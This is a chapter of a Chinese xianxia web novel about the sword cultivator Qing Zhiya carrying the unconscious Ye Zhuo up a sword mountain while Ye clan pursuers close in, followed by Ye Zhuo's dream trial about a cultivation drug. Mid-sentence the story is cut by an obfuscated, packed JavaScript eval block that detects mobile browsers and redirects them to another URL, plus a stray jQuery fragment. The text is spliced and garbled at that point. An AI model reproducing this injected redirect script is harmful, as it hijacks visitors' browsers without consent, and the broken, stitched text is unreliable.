青稚雅没有回头,注意力聚焦于眼前的岩点。
原本她可以慢慢寻找合适的落脚点,累了也会停下来适当休息,可是追兵的逼近,让此次攀爬更加显迫。
开始只是隐约喧哗,后来说话声都能清晰传到耳中。
“看!她们在爬剑山!”
“是青稚雅在爬,叶酌已经昏了过去。”
“上!长老说了,抓住一个直接晋升家族内门弟子,抓住两个,直接收作亲传弟子!”
重赏之下必有勇夫,叶家旁支中天才的也不少,然而出于世家大族的通病,这些出身低微的天才能分到的修炼资源并不多。
难得有跃迁的机会,谁也不愿空手而归。
青稚雅没想到自己也成了对方目标,不过想想黑市上对自己的悬赏······
嗐,不就是世家嘛,债多不愁,她得罪的又不止一域。
天真的涤尘剑主至今没深思过,为何前半生风生水起,下山后一路对上的全是世家大族,而她主要的目标敌人暗宗又被遗忘过多少次。
“叶小酌,你那帮子亲戚,是真的要你死啊。”青稚雅对昏迷中的人说,“不过我觉得吧,应该能爬过他们。”
后边追兵体力充沛、精神矍铄,前方大病号背着个小病号,被罡风吹得晃晃悠悠,似乎随时能跌下去。
“涤尘剑主,何必趟这趟浑水?只要把叶酌抛下来,我叶氏定奉您为座上宾,请最好的大夫医治,给最好的灵药修补您损伤。”
有奋力猛追的,也有爬不上去干脆停下来喊话的。
然后不等青稚雅回应,又是凛冽剑光自下而上偷袭。
此刻的青稚雅有两种策略,停下与他们对攻,抑或埋头向上爬。
她毕竟占据高位,还是占据地利的。
青稚雅没有回头,她毕竟不是梅鬼华,暗器毒药储备不丰,储物袋里能有迷香已经顶了天。
女子挪动着血肉模糊的双腿,渗出鲜血的手指抓住零星的借力点,奋力向上攀爬。
叶酌说剑山顶上是悟道台,会倾尽整座剑冢之力确保悟道人的安全,所以只要她们第一个到达顶峰,就会先一步进入悟道状态,先一步受到悟道台庇护。
之后就是比拼谁先勘破妄境,先有所悟了。
“娘的,这女人根本不受影响!”底下试图干扰青稚雅的叶氏子弟骂骂咧咧,发现小动作无效后,只能闷头紧追,好在他们人多且状态良好,双方距离在不断被拉近。
新添的伤口叠着旧伤,青稚雅从最开始的麻痒刺痛,到片片凌迟的持续折磨,早已疼得两眼发花,恨不得随时晕过去不用遭这份罪。
“乾汐六十九年,我下山执行任务,因修为不足被魔修捉住,被正巧在附近的你救下。”
“乾汐七十一年,我在街上被偷了荷包,你帮我付了饭钱。”
“乾汐七十五年,我剿灭魔修据点,带着伤返回宗门,你给我撑了一路伞,还送了顶好的伤药。”
“乾汐七十六年,出名了,粉丝团非要将你我放在一起比较,我难受了好久,还是你找到我并开解,说公众人物就这样,习惯就好。”
······
“叶酌,你帮过我太多次,每次都很温暖,所以只要我还有口气在,就不会让你死在面前。”
“绝对不会让那么温暖的你,变成冷冰冰的尸体。如果叶家人要阻止你活下去,那我就杀了叶家人,如果实力不够,那就突破。”
“不要被家族困住啊,叶酌!”
一身血泥的女剑修怒吼。
乾汐是当今的年号,青稚雅是个感恩的人,旁人对她的每一分好,无论大小,她都铭记于心。
尽管她也帮过叶酌很多次,尽管她俩的人情根本算不清,可是她依旧珍惜朋友的每一分善意,并予以同等甚至更多的回报。
人不是天生冰冷或温暖的,他们往往是在感受到世界的善或恶后,将同等感受投射向世界。
所以,青稚雅致力于惩奸除恶,打造清朗世风。
所以,青稚雅希望天底下所有的好人都能得到好结局。
所以,青稚雅不介意清平乐拿她作筏子,毕竟他们确实在帮扶弱小,凝聚有生力量,传递善意与希望。
顶着愈加猛烈的罡风,青稚雅拼尽全力向上攀爬,一个大活人的重量压在背上,她却感受到了无尽的动力。
正因为背着叶酌,才更不能放弃!
我要和你一起活下去,我期待你再次睁眼,我们说好在剑道一途共同前进的!
叶氏子弟精锐不少,爬得快的离二女也仅有五米垂直距离,而此刻青稚雅距离山顶还有十米左右。
百来米的高度,折磨得这帮人中龙凤不轻,此刻能挂在峭壁上的,没一个不是血人。
可能也就青稚雅背上的叶酌相对好些,算得上一路躺赢,不过也被无形剑气所伤,只是伤口比其他人少些罢了。
终于,爬在最高处的叶氏子弟伸出手,抓住了青稚雅的脚踝,此刻前者距离山顶仅有一步之遥。
青稚雅在感受到脚脖子上滑腻湿热时,并不显慌乱。
她淡定地召唤出涤尘,切断自己与叶酌绑缚的锁链,熟练地一手攀住着力点,另一只手抓住挚友胳膊,计算好角度,猛然发力,将人甩进前方悟道台范围。
一套动作行云流水,待那叶氏子弟反应过来时,青稚雅浸满鲜血的身体被下拉了几厘米,但叶酌却安然落入悟道台。
这时候青稚雅才有功夫低头看向紧紧抓住她的叶氏子弟,那是张看不清面貌的脸,满脸剑气切割后的痕迹,她想自己现在应该也差不多。
“要么一起上去,要么一起跌下去。”青稚雅第一次给了追兵回应,平静的话语下是鱼死网破的决绝。
叶氏子弟一时被她死一般平静的眼神所震慑,僵硬在半空不敢动作。
涤尘剑主半垂下眼眸,用最平淡的语气说出最狠的话,“你若不放,我就松手了。”
纤白的手上血色蜿蜒,抓住的剑柄承载着一人重量,仿佛随时都会脱力。
青稚雅位处该叶氏子弟正上方,两人下方矗立着叶氏先祖的佩剑,只要青稚雅有这魄力松手,拉个垫背的绝对没问题,万箭穿心很可能化成现实,运气好说不定还能再砸几个叶氏子。
抓住脚踝的手停顿良久,最终慢慢缩了回去。
显然,他也是惜命的。
青稚雅趁着其他叶氏子弟赶上来前,吃力挪动身体,终于也爬进了悟道台范围。
悟道台说是台,其实也只是剑山上唯一的平坦之地,不扎人也不硌人。
青稚雅只匆匆扫了眼周围环境,刚觉恍惚,精神已被拉入另一空间,一个五感真实的虚拟世界。
短暂的漆黑笼罩识海,点点星光汇集,世界在迅速重构。
青稚雅微微睁大了眼,仿佛突然看到某种不可思议的存在。
时间回到一刻钟前,陷入梦境的叶酌正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986283|160750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在越狱。
“好歹毒的筑梦师,谁他妈设计的剧本。”第二次进入梦境,体验感没有第一次那么沉浸,叶酌也有精力好好分析当下局势。
梦境里,艳髓被叶家带头抵制,发展的很不顺利,于是千秋岁引又推出新品——仙引。
一经销售,火爆东域。
药如其名,为没有灵根的凡人铺设一条登仙路。
只是在有心人眼中,此路脆如琉璃,瞧着鲜花着锦,实则爬得越高摔得越惨。
“类似功效的天才灵宝无不有价无市,怎可能如此泛滥,其中定然有诈!”世家们如此判断。
因为切实动摇了门阀利益,千秋岁引招来了前所未有的严打。
被捕入狱的千秋岁引店员向狱卒行贿,狱卒也是世家出身,只因没有灵根才沦落为边缘人物。
他们,头一次品尝到了灵气入体的滋味。
攀比的底层逻辑便是人无我有,修士数量跟质量决定家族力量,对于修真世家而言,要么此药永禁,要么大家一起陷入滥用药物的内卷。
能保持理智的家族不多,刚开始只是些小家族偷偷服用,以壮家族实力,后来仙引便如海浪,一波接着一波,越卷越大,直至冲击排名前列的大世家。
后来,连稳居龙头的叶家也坐不住了。
长老团建议剿灭千秋岁引,将仙引药方掌握在叶家手里,以稳定东域安宁。
然而千秋岁引大势已成,关系网盘根错节,稍微动一动便触及千百个家族的敏感神经。
叶家是东域霸主不错,一对多也不惧,但也不敢说能与整个东域世家为敌。
强硬打服行不通,为了家族利益,长老团给出方案二——加入他们!
叶无且、叶酌兄妹强烈反对。
“艳髓的悲剧历历在目,你们真信那仙引是什么好东西?”叶酌将桌子拍得震天响,“我不同意!这种副作用不明的药物,绝对不能放开!”
“大小姐,知道您热度被神魄教圣子抢走心中不悦,可您是家族大小姐,该为家族考虑。”不只长老团、家族精英,就连平日里受她照拂的底层族人,也都纷纷劝谏。
就差指着鼻子骂她不识大体了,这叶酌能忍?当即用自己账号,来了场全域直播,呼吁广大民众擦亮眼睛,不要食用来历不明未经鉴定的药物。
结果第二天千秋岁引就晒出药监证明,药监司背书,千秋岁引旗下产品,完全符合检查标准,请百姓放心食用。
药监司背后有哪些世家站台,叶酌一清二楚,然而不等她做出有效反击,就遭受到了来自粉丝的反噬。
永远挡在她面前的最大粉头晏行歌叛变,以前叶酌借助粉丝力量时有多便利,如今被脱粉回踩就有多狼狈。
在有心人的打压下,叶府的门面担当声名狼藉,长老团起了撤换代言人的念头,替补之人是位旁支姑娘,修为远不如叶酌高,却生得副惹人怜爱的好相貌。
“大姐姐万福,小妹定不负家族所托,处理好对外各家关系。”叶窈窈盈盈一拜。
叶酌定定看了她还一会儿,忽道:“我记得你,你曾问‘庶出子弟,资质庸常,族中资源未尝向我,日为杂务所困,无暇习剑,如此境况何解’?”
叶窈窈眸光有些躲闪。
叶酌目光灼灼,定定望向她,“当时我答——行己所长,从己所好,假现有之资,竭全力以求。”
沙哑的嗓音充满了讥诮,“如今,你求到了吗?”